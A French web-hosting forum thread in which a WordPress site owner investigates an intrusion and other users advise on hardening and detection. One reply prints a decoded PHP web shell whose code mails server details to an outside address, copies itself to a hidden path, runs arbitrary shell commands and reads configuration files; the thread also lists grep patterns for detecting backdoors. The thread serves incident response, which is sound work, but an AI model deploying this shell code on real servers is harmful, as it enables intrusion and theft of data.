OVH Community, votre nouvel espace communautaire.

Un hacker est entré chez moi. Votre avis, s'il vous plaît ?


sabinou
01/09/2014, 10h36
Merci encore de vos réponses !

Je pose une question en courant, là c'est le branle-bas à la maison, s'il vous plaît, savez-vous s'il est possible de faire en sorte (script shell, apache, whatever) de SURVEILLER délibérément l'emplacement /tmp pour noter QUAND il y a une activité dedans, causée par quel fichier, ou quel processus ?

J'ai fait des essais, et le htaccess compliqué du wordpress de ce domaine ne permet de toutes façons pas d'accéder au dossier tmp ( essais du genre ouvrir nomdedomaine.fr/../tmp/image.jpg , après avoir placé un fichier image.jpg dans /tmp/ ), ça génère une erreur 404. Donc même si le shell a réussi à y créer des fichiers, ils ne sont pas exécutables depuis le web : si le hacker s'en aperçoit un jour et place ses fichiers dans un autre dossier accessible depuis le web, je suis fait.

D'où l'idée, vite, surveillons ce qui se passe dans /tmp
Si vous savez si c'est possible... MERCI !

TBC_Ly0n
01/09/2014, 09h46

...

File voir la documentation d'Apache pour découvrir les différentes possibilités d'agir sur la manière dont Apache peut gérer des directives contraignantes.

pprem
30/08/2014, 12h24
il n'y a JAMAIS aucune raison LEGITIME d'exécuter quoi que ce soit dans un dossier comme /tmp

c'est un dossier qui sert au stockage des fichiers de sessions, de fichiers uploadés via le serveur web et d'une façon générale pour y caser des choses qui sont par définition temporaires

j'ai fait de l'hébergement mutualisé il y a quelques années, malgré le safe_mode, open_base_dir et quelques autres choses, des sites persistaient à être piratés. le problème n'est plus apparu dès le moment où j'ai ajouté un "noexec" dans le /etc/fstab sur la ligne concernant la partition /tmp (parce que je faisais une partition dédiée à ce dossier)

sur le fonctionnement classique de ces attaques, ça se fait en général en trois temps :
- un bot parcours le net à la recherche de sites sur lesquels se trouve plusieurs failles qui les intéressent selon leur objectif
- une fois la liste mise en place, un autre automate y place un fichier exécutable (en général du PERL ou du SHELL
- quelques jours plus tard ce fichier est lancé et installe un paquet de fichiers qui permettent d'avoir des éléments de configuration sur le serveur concerné et d'y prendre la main par l'intermédiaire de scripts (la récupération des fichiers /etc/passwd et /etc/shadow étant quasi systématique)

il y a des solutions contre ça, la plus efficace reste de n'autoriser aucune exécution de scripts dans les dossiers /tmp ou /uploads et de ne pas les laisser accessibles de l'extérieur (donc "deny from all" obligatoire dans ta config Apache ou en .htaccess, mais vaut mieux dans la config Apache, ça bouffe moins de ressources)

quand un programme légitime uploade un fichier, ce fichier doit être contrôlé (au moins son extension) et placé dans le répertoire duquel il sera affiché. les uploads devraient être réservés aux images et aux fichiers bureautiques (textes, PDF, DOC, ...).

En aucun cas un fichier autre que .php ne devrait se voir rattaché à PHP et exécuté par le serveur web.

Et n'hésite pas à regarder open_base_dir dans la doc de PHP pour l'activer sur tes hébergements afin de limiter la casse au cas où un programme tiers arriverait à lancer quelque chose (ça ne restreint que pour du PHP mais c'est déjà un bon début).

sabinou
29/08/2014, 16h12
Merci de vos réponses, vraiment !

Je fais dans la réponse groupée

- je viens de comprendre que les deux fichiers /wp-includes/js/tinymce/themes/advanced/skins/tmpfiles.php et /wp-includes/js/tinymce/skins/lightgray/fonts/tmpfiles.php sont une erreur 301, une tentative d'accès web à des fichiers non-existants.
Donc, en fait, RIEN ne dit que l'IP en question soit liée aux fichiers donnant un accès shell présents dans ~/tmp
Et j'a n'ai aucun log d'IP voulant ouvrir des fichiers dans ~/tmp, ils ont été créés par un accès shell à un autre fichier qui les a créés après, mais le hacker n'a pas directement, depuis le web, ouvert ces fichiers, on dirait.
Le "seul" aspect préoccupant, en somme, c'est qui a bien pu créer, et comment, ces fichiers shell dans ~/tmp

- les fichiers dans ~/tmp ont été créés "ex nihilo", par un ou des fichiers inconnus
Cela fait deux séries de fichiers,
. un (ou des !) fichier(s) mystère, caché(s) quelque-part,
. les fichiers "vas-y trouve-les je m'en fous lol' dans ~/tmp
Le hacker a donc une "tour de contrôle" cachée quelque-part ailleurs dans mon hébergement.
Un autre fichier permettant de faire du shell et d'avoir accès à toutes les informations utilisateur.

- Je croyais que TOUT ce qui se fait en shell laisse une trace dans "history", et que seul l'utilisateur root peut en effacer des informations. Manifestement, je me trompais, vous me le confirmez, il est possible de faire ces créations/suppressions sans laisser la moindre trace loggée ?

- J'ai sans doute même trouvé ce qui m'a été installé, au moins en théorie :
http://thanat0s.trollprod.org/2013/0...r-php-du-pack/ (provoque une alerte Avast, mais c'est une page legit)
Screenshot issu de cette page : http://thanat0s.trollprod.org/wp-con...gician_r57.png
Un fork possible de : http://korben.info/c99-php-backdoor.html

- En l'état des choses, je ne nettoie pas encore mon site (suppression, réinstallation, changement mots de passe, etc), parce que, justement, je VEUX savoir par où c'est passé.
Imaginez que je supprime tout ce que je peux, que je réinstalle tout ce que je peux, que je change tous les mots de passe emails compris, pour découvrir un mois plus tard que le hacker est de retour. La perte de temps, la frustration !
Et en plus, c'est stimulant intellectuellement, ça compte, quand même (le genre d'attitude qu'on n'a, face à un hack, qu'après de nombreuses années à en prendre plein la tête et à apprendre sur le tas Même si ça aide d'avoir affaire à un hacker qui apparement se la joue discret et délicat, et ne veut pas jouer au con et tout supprimer ou transformer la machine à boîte à pédo/spam)

- j'ai cherché, au cas où, des traces "faciles", en faisant, depuis la racine du compte d'hébergement,
grep -r 'eval('
grep -r 'c99.'
grep -r 'rot13' .
grep -r 'base64_decode' .
grep -r 'uname -' .
grep -r 'r57' .
grep -r 'hasil' .
grep -r 'bajakan' .
grep -r 'pre-release' .
Et ça n'a retourné aucun résultat pertinent, ces expressions étaient seulement présentes dans des fichiers légitimes pour un emploi légitime.
Je ne dis pas qu'il n'existerait pas un bout de code exploitable de façon non-prévue, façon jolie faille non-encore patchée, hein, ça je n'ai honnêtement pas la compétence pour le dire.

@ Jejeleponey
- Je ne peux pas me baser sur les logs autour du moment de visite de l'IP incriminée. Trop de traffic, trop de choses loggées.

@ Monamiphil,
- tu as écrit « Au sujet du dossier tmp, est-ce le dossier qui recoit les uploads des visiteurs qui desire partager du contenu sur le site?? Si tel est le cas, la faille que le hacker a tenter de faire est peut être la suivante: uploader un fichier qui devait dévoiler une faille et créer un ou des fichier(s) sur ton serveur et ensuite l'appeler via l'url qui retourne l'erreur 301. Cela voudrait dire que la faille qu'il a tenter d'utilisé n'a tout simplement pas fonctionné. »
Voyons les faits, des fichiers accessibles depuis le web (il s'agit du dossier /tmp d'un site web) permettent de faire du shell, et ils ont été placés là par quelque-chose ou quelqu'un.
Mais merci infiniment pour la mention de l'erreur 301, je n'avais pas réalisé que ces deux fichiers étaient un échec, qu'ils n'avaient jamais existé tout court, et que, donc, l'IP ayant tenté d'accèder à eux était probablement juste un bot tentant sa chance, et pas celle de "mon" hacker.
Cela confirme qu'il n'y a eu aucun accès web à ces fichiers dans ~/tmp, donc on n'a pas de donnée IP valide.

- C'est un blog wordpress, l'inscription d'utilisateurs tiers n'est pas permise, donc en principe seul l'admin (moi) a le droit d'uploader des fichiers. A part des éventuels fichiers de session (wordpress en crée bien, non ?), il n'y a aucune raison valide pour que des fichiers soient créés dans ~/tmp

@Benoît934
- j'ai fail2ban aussi, il n'y a donc pas eu de bruteforce
- Tu as écrit « Avec tout CMS je déconseille fortement d'avoir un dossier ou un fichier modifiable et executable par PHP, il est mieux de les modifier avec root. » -- Là je vais être franc, je n'ai aucune idée de si c'est blocable avec un site wordpress sans tout casser, si c'est blocable sur mon serveur, ou comment.
En tous cas, pas une bonne idée de chown root les fichiers d'admin s'il y a, peut-être, dedans, un fichier exploitable par le hacker pour créer des accès shell : là il aurait accès à tout le serveur et tous les sites web.

@ Cetic
- Il n'y a pas de fichier food.php sur l'hébergement, du moins à l'heure où j'écris ces lignes.
Une recherche dans l'accès log ne montre pas non plus d'accès web à quelque food.php que ce soit

@ Pprem
- Merci beaucoup pour la recommandation d'interdire l'exécution de fichiers dans le dossier /tmp !
Le hacker est cruel, il n'a pas créé de fichiers avec l'extension .php, donc on ne peut pas bloquer une simple extension.
Et forcer text/plain sur tous les fichiers pourrait, qui sait, causer des problèmes, allez savoir, s'il y a des usages légitimes.

- Je tenterais bien un .htaccess contenant juste "php_flag engine off" dans le dossier /tmp, c'est bon, ça, s'il te plaît ?

- Cela laisse malgré tout ouverte, béante, la question du "mais il a fait comment, le hacker, pour uploader des fichiers".
Et, bien pire, qui dit que le hacker ne peut pas faire uploader des fichiers dans un autre répertoire où l'exécution de php serait autorisée ? Tant que l'on ne trouve pas le moyen employé par le hacker pour placer ses fichiers shell, on craint ça...

@ TBC_Lyon
- En effet, je vais rajouter un .htaccess dans ~/tmp avec "php_flag engine off " pour bloquer l'exécution du php dans ce dossier , merci de confirmer Cetic Par contre, je ne peux pas "deny from all", si jamais c'est utile, je n'en sais rien et je ne peux pas prétendre être sûr que ça ne va rien casser.

- Renoncer aux htaccess en faveur du fichier virtual hosts. Je découvre tout juste la possibilité, je ne connaissais pas ! Wow O_o
Je me base sur http://blog.stefanxo.com/2013/09/mov...ualhosts-file/ , et c'est apparemment bien utile, bien que bien complexe aussi.
S'il te plaît, je n'arrive pas à trouver l'information rapidement, est-il possible de, temporairement, "mixer" les deux, dire au virtual hosts une directive pour juste un répertoire (par exemple : php_flag engine off dans /home/lesitewebenquestion/tmp), sans devoir passer par la solution plus complexe consistant à renoncer entièrement aux .htaccess et faire tout dans le virtual hosts ?

***

Beaucoup de réponses, mais beaucoup de questions aussi ^^
Merci beaucoup, encore une fois, pour votre aide !

benoit934
29/08/2014, 14h40
Il ne faut pas oublier de le signaler a yahoo.

La sécurisation d'un serveur est compliqué je pense pour un néophyte, un bon fail2ban ca a au moins le mérite de décharger le serveur de tout les robots de scan

TBC_Ly0n
29/08/2014, 10h39
Il faut :
- Interdire l'interprétation des fichiers uploadés : les dossiers doivent avoir une directive php_engine off
- Bloquer leur accès (pour éviter des failles XSS : FilesMatch + Deny from All
- Déporter le contenu éventuel des .htaccess dans la définition du virtual host
- Mettre un AllowOverride None dans le VirtualHost

Les deux premières actions nécessitent de connaitre le CMS et les dossiers dans lesquels les scripts corrompus sont déposés.

Le fait de mettre un AllowOverride None aura un impact positif sur les performances en plus ! Au prix de recharger de temps en temps Apache quand on fait des modifications.

pprem
29/08/2014, 09h12
en général les fichiers dans /tmp sont créés par un formulaire d'upload ou effectivement un programme non protégé sur un CMS (ou ses extensions)

le truc, c'est qu'en fait on s'en fout que les gens uploadent n'importe quoi. le vrai problème, c'(est qu'ils puissent exécuter ce qu'ils ont envoyé...

interdit toute exécution de PHP sur les dossiers /tmp et ça ne se reproduira pas (et patche les logiciels que tu utilises, bien entendu)
(les utilisateurs de WP et autres devraient également interdire toute exécution de script dans /wp-contents/uploads, ça limiterait grandement la casse)

Cetic
29/08/2014, 05h23
Hello,
Avant tout, je ne connais pas WP, je ne l'utilise pas.

Dans le 2eme fichiers, on voit ceci : "GIF89aG"
Donc c'est pour tromper php pour qu'il crois que le fichier est un fichier Image non ? => vérifier Plugins, et version de WP a jours.
Si oui on sais que maintenant il est passé par un plugins ou un endroit ou on peux charger des images...
Ensuite selon le traitement de php, on voit qu'il mail la cible (ton site) ainsi que certain paramètres....

Si on regarde la suite du fichier, on vois qu'il permet d’exécuter des commandes comme si tu étais sur ssh (SHELL)... donc il peux lire certain fichiers (config avec pass par exemple) ou déplacer/supprimer/uploader des fichiers .. tout ça avec les droits du User du Site bien sur.

Donc attention tu vas sans doute devoir changer tes pass si ils étaient en clair ou encrypter dans un fichier ^^

Autre point : "/plugins/user/food.php"

=> a chercher et surtout éditer pour vérifier qu'il ne s'agit pas d'un clone du fichier malicieux... apparemment il se copy dans ce fichier.
Cela permet au hacker de revenir et entrer de nouveau si jamais les fichiers tmp sont vidés ...


Le premier fichier lui est l'exacte copie du deuxième sans le fameux "GIF89aG". Sans doute une copie uploader après l'installation du deuxième fichier, au cas ou ..

Conseil :
Il est trop tard je pense pour faire une recherche avec Find des fichiers modifier le 24 malheureusement
Chercher dans les logs si le fameux food.php à été utiliser.
Regarder dans ton fichier d'envoi de Mail => ramzkieshell@yahoo.com
Supprimer le fichier food.php (et tmp),
Vérifier mise à jour du WP,
Bloquer tout les plugins du WP et les mètrent a jours 1 a 1.
Remplacement des pass qui touchent de près ou de loin au site. Vérifier qu'avec les droits de ce site, tu ne peux pas voir les fichiers des autres sites, sinon même punition.
SQL aussi si ils étaient noter dans un fichier de config par exemple.


En cherchant sur l'email on tombe sur ce genre de script encore plus intéressant qui permet de faire des Zip, Dumper des bases SQL completes...

https://code.google.com/p/caffsec-ma...c=svn111&r=111

benoit934
29/08/2014, 03h08
Bonjour,

Pour éviter limiter les risques de piratages par des Black Hat qui font du phishing sans avoir aucune compétence en informatique, j'utilise fail2ban pour éliminer toute requête non légitime.

Avec tout CMS je déconseille fortement d'avoir un dossier ou un fichier modifiable et executable par PHP, il est mieux de les modifier avec root.

Pour tout les sous dossier administrateurs je conseil soit l'usage de SSL pour identifier celui qui y accède, soit l'usage d'un VPN, voir les deux.

En principe même avec un sécurité de base il est rare de ce faire hacker, si quelqu'un vous hack c'est qu'il est compétent et donc qu'il n'a probablement aucun intérêt a backdoorer votre serveur car est capable de gagner de l'argent autrement.

monamiphil
29/08/2014, 03h01
Je viens de te decoder un des fichier. Tu as au moins son mail!!
Code PHP:
error_reporting(0);
if (!isset(
$_SESSION['bajak']))    {
$visitcount 0;
$web $_SERVER["HTTP_HOST"];
$inj $_SERVER["REQUEST_URI"];
$body "Target ditemukan \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!
$safem0de) {$security"SAFE_MODE = OFF";}
else {
$security"SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor gethostbyname($_SERVER['REMOTE_ADDR']);
mail("ramzkieshell@yahoo.com""$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 1;
}
else {
$_SESSION['bajak']++;};
if(isset(
$_GET['clone'])){
$source $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/plugins/user/food.php";
rename($source$desti);
}
$safem0de = @ini_get('safe_mode');
if (!
$safem0de) {$security"SAFE_MODE : OFF";}
else {
$security"SAFE_MODE : ON";}
echo 
"UnKnown - Simple Shell
"
;
echo 
"".$security."
"
;
$cur_user="(".get_current_user().")";
echo 
"User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."
";
echo 
"Uname : ".php_uname()."
";
function 
pwd() {
$cwd getcwd();
if(
$u=strrpos($cwd,'/')){
if(
$u!=strlen($cwd)-1){
return 
$cwd.'/';}
else{return 
$cwd;};
}
elseif(
$u=strrpos($cwd,'\\')){
if(
$u!=strlen($cwd)-1){
return 
$cwd.'\\';}
else{return 
$cwd;};
};
}
echo 
'Command
'
;
echo 
'Upload File

New name: '
;
if(isset(
$_POST['submit'])){
$uploaddir pwd();
if(!
$name=$_POST['newname']){$name $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo 
"Upload Failed";
} else { echo 
"Upload Success to ".$uploaddir.$name." Succes! "; }
}
if(isset(
$_POST['command'])){
$cmd $_POST['cmd'];
echo 
"
".shell_exec($cmd)."
"
;
}
elseif(isset(
$_GET['cmd'])){
$comd $_GET['cmd'];
echo 
"
".shell_exec($comd)."
"
;
}
else { echo 
"
".shell_exec('ls -la')."
"
;
}

if(isset(
$_GET['baca'])){
$conf file_get_contents("../../configuration.php");
echo 
$conf

monamiphil
29/08/2014, 02h44
Allo!

J'ai deja eu a vivre avec un vieu site fait avec SPIPS et j'avais sans cesse des trucs comme tu est entrain de vivre. Je mettrais donc ma main au feux que c'est une faille de wp.

Premierement, au sujet de ton fichier tmpfiles.php, je crois que ton apache retourne une erreur 301, ce qui est une redirection. Donc c'est bien normal que tu ne le trouve pas dans le dossier skins puisqu'il n'existe pas.

Au sujet du dossier tmp, est-ce le dossier qui recoit les uploads des visiteurs qui desire partager du contenu sur le site?? Si tel est le cas, la faille que le hacker a tenter de faire est peut être la suivante: uploader un fichier qui devait dévoiler une faille et créer un ou des fichier(s) sur ton serveur et ensuite l'appeler via l'url qui retourne l'erreur 301. Cela voudrait dire que la faille qu'il a tenter d'utilisé n'a tout simplement pas fonctionné.

Si la date de creation des fichiers est antérieur aux acces vers tmpfiles.php, il y a fort a parier que tu n'ai rien a craindre. Pour faire une étude plus poussé, il faut aussi analyser le code php dans les 3 fichiers, surtout les string encodés.

Bonne chance!

Jejeleponey-
28/08/2014, 21h39
Salut,

La façon dont il a créé les fichiers est toute vue, il y a 99% de chance qu'il s'est servi d'une faille wordpress. Si l'utilisation d'un shell php ou autre backdoor du genre n'a pas encore eu lieu, c'est surement parce que c'est un bot qui est venu chercher la faille et déposer le fichier en attente de son propriétaire.
Tu as apparement fait toute les vérifications nécessaire, et tu envisage les bonnes actions, c'est déjà ça ! Mais bon, il te faudra quand même rester vigilent au cas où autre chose aurait été installé.
Pour ma part j'aurais poussé légèrement plus les recherches en ne me basant pas uniquement sur l'ip mais aussi sur les logs avant et après l'ip incriminée. Dans le cas d'un bot, il n'est pas rare que les autres requêtes viennent d'autres ips de pc zombies peu après.

sabinou
28/08/2014, 19h46
Bonjour bonjour,

Pourrais-je vous demander votre avis, s'il vous plaît, pour débusquer un hacker qui a trouvé le moyen de rentrer sur mon serveur ?

Je vois qu'il y a eu intrusion, mais je ne vois pas comment traquer la façon dont elle a réussi à avoir lieu.

Ce n'est PAS un cas d'urgence (mon serveur n'envoie a priori pas de spam, la charge CPU est stable, etcetera, c'est une intrusion discrète, voire dormante), mais j'apprécierais vraiment de l'aide, autant pour le challenge que pour la sécurité...

Merci beaucoup si vous pouvez m'aider

MISE A JOUR : les réponses reçues m'ont fait voir que je m'étais planté sur certains points, je corrige les erreurs factuelles dans ma question.

Pour le reste, cf. les réponses qui ont été faites ainsi que la réponse que j'ai faite ensuite en base de page, j'ai trouvé a priori quelle était l'infection, mais je ne sais toujours pas comment elle a pu se faire, malgré beaucoup de recherches supplémentaires...


Alors, les détails de mon serveur : Debian Wheezy, Webmin+Virtualmin, PHP 5.4.4-14+deb7u14, MySQL: 5.5.38-0+wheezy1-log, php en handler fcgid, le serveur a ses MAJ de sécurité dès que nécessaire (accès presque tous les jours à virtualmin, et notif. par mail des MAJ de sécurité), tous les comptes protégés par des mots de passe complexes, et le site hacké est sous wordpress.
C'est un serveur Host-32, chaque site web est indépendant, j'ai un seul CMS par domaine, on peut donc exclure les autres sites hébergés.

Ce que j'ai fait :

- par acquis de conscience, comme chaque fois que je suis loggé en SFTP, je regarde les contenus des dossiers /tmp , /dev/shm et /home/lesitewebdumoment/tmp/

- Aie : je vois deux fichiers dans /home/lesitewebdumoment/tmp/ datés d'il y a deux jours, cherchant à cacher du code php. Hééé m*rde, je me suis fait hacker.

Voici le détail des deux fichiers :
- http://pastebin.com/V2xD0C8t
- http://pastebin.com/69manRbk (génère une alerte Avast Antivirus chez moi O_o
http://pastebin.com/7nfsPG4w (version non-décodée du lien ci-dessus pour éviter de générer une alerte Avast, je vous laisse le faire décoder par unphp.net )

- Les fichiers sont datés du 26 août , c'est dans le champ de mon dernier access_log (couvrant jusqu'au 24 août avant de se faire archiver), donc je cherche :

grep 'php0magk2' copie_de_recherche_log
> rien du tout

grep 'phpnP9GVc' copie_de_recherche_log
> rien du tout
> Boooon, okay.... donc le nom du fichier ne vient pas directement d'une requête web, super ¬_¬

> Vu qu'il n'y a que ces deux fichiers dans le dossier ~/tmp, je cherche /tmp dans l'access_log
grep '/tmp' copie_de_recherche_log
> on a une touche ! Le résultat :
67-148-203-206.dia.static.qwest.net - - [24/Aug/2014:19:01:13 +0200] "GET /wp-includes/js/tinymce/themes/advanced/skins/tmpfiles.php HTTP/1.0" 301 533 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; River GPO 060330-2; InfoPath.1)"
67-148-203-206.dia.static.qwest.net - - [26/Aug/2014:06:21:51 +0200] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/tmpfiles.php HTTP/1.0" 301 533 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)"

MISE A JOUR : ben, non. Je m'étais trompé, c'est une erreur 301 (fichier non trouvé) et ça n'a rien à voir avec le hacker qui a réussi à placer des fichiers dans ~/tmp. Donc, je n'ai aucune IP à chercher, c'était juste un random bot qui tentait de voir s'il n'y avait pas des fichiers exploitables, or il n'y en avait pas, point final..

Tout le paragraphe qui suit, où je cherche ce que fait l'IP, et si les fichiers tmpfiles sont trouvés, était inutile et erroné.


> On a une IP. Cherchons ce qu'elle a bricolé :
grep '67-148-203-206' copie_de_recherche_log
> yes !!
67-148-203-206.dia.static.qwest.net - - [24/Aug/2014:19:01:13 +0200] "GET /wp-includes/js/tinymce/themes/advanced/skins/tmpfiles.php HTTP/1.0" 301 533 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; River GPO 060330-2; InfoPath.1)"
67-148-203-206.dia.static.qwest.net - - [26/Aug/2014:06:21:51 +0200] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/tmpfiles.php HTTP/1.0" 301 533 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)"

grep 'tmpfiles' copie_de_recherche_log
> Seul le hacker a utilisé ces fichiers, il semble :
67-148-203-206.dia.static.qwest.net - - [24/Aug/2014:19:01:13 +0200] "GET /wp-includes/js/tinymce/themes/advanced/skins/tmpfiles.php HTTP/1.0" 301 533 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; River GPO 060330-2; InfoPath.1)"
67-148-203-206.dia.static.qwest.net - - [26/Aug/2014:06:21:51 +0200] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/tmpfiles.php HTTP/1.0" 301 533 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)"

> Là, c'est décevant, le fichier tmpfiles.php n'existe PLUS sur le serveur.
find /home/lesitewebenquestion/ -name 'tmpfiles'

Donc le hacker a les moyens de créer des fichiers sur mon serveur. ARGH.
J'essaie, en-dessous, de trouver comment il s'y est pris, mais je n'y suis pas arrivé

Je continue de tenter de trouver des traces d'activité de cette personne dans les autres logs, mais faire "grep" avec son IP dans les autres logs du serveur (comme /var/log syslog, auth.log, user.log, debug, messages, fail2ban.log) ne donne rien.

Je pense pouvoir exclure un accès SFTP / console, car "Accepted password for lesitewebenquestion from" dans /var/log/auth.log ne retourne que mes IPs à moi. En outre, si le hacker avait un accès SFTP, il n'aurait pas eu besoin de tout le bazar au-dessus.

Mais là, hélas, je sèche. Que faire d'autre ?

J'ai cherché avec juste un bout d'IP ( '67-148-203-', au cas où il y avait eu reboot d'un modem pour changer légèrement d'IP) : rien.

Peut-être le hacker avait-il un profil reconnaissable, je cherche l'un des éléments fournis avec son IP, en espérant que ce referrer resterait même si l'IP change :
grep 'Media Center PC 3.0' copie_de_recherche_log > asupprimer.txt
Mais non, plein d'activité m'apprenant qu'il y a des visiteurs légitimes utilisant le media center (Sérieusement ?!? ^^;; ) mais seulement deux entrées relatives au hacker, celles avec tmpfiles.php

Mysql ne logge pas ce qu'il se passe sinon les slow_queries, donc rien à attendre de ce côté. Mais, cependant, je précise qu'aucun utilisateur n'a les droits FILE.

... Et j'en suis là.
Vraiment, je bloque, je ne sais plus quoi faire d'autre, pas quelle piste explorer, alors qu'il y a quelqu'un qui est capable de créer et supprimer des fichiers sur l'un de mes sites web sans que je sache pourquoi

Bien sûr, il faut sécuriser mon serveur : supprimer et réinstaller le CMS, changer les mots de passe mysql, web, panel, email, supprimer les plugins wordpress pour mettre des versions neuves à la place, vérifier si l'un des plugins wordpress n'a pas été supprimé du repository officiel (pour cause d'abandon ou de faille connue mais non-patchée, ça serait bien qu'un jour wordpress s'occupe de nous notifier quand un de nos plugins devient obsolète), etcetera.
Je vais aussi télécharger en local les fichiers de mon site web, et faire une comparaison en mode binaire entre la version hackée et des versions plus anciennes, pour voir s'il y a des changements dans le contenu des ficheirs présents ou dans la liste des fichiers présents qui seraient illégitimes.

Mais ça ne remplace pas le travail d'enquête, il est nécessaire de savoir QUELLE VULNÉRABILITÉ a bien pu exploiter ce hacker, sinon je ne saurai jamais s'il ne reviendra pas de nouveau.

S'il vous plaît, avez-vous des suggestions pour reprendre ma traque du hacker, et savoir comment il a fait pour créer ses tmpfile.php, et tout le reste ?

Merci ENORMEMENT si vous pouvez m'aider !


(petites MAJs : rien dans suspect dans crontab root et user ou dans /etc/passwd)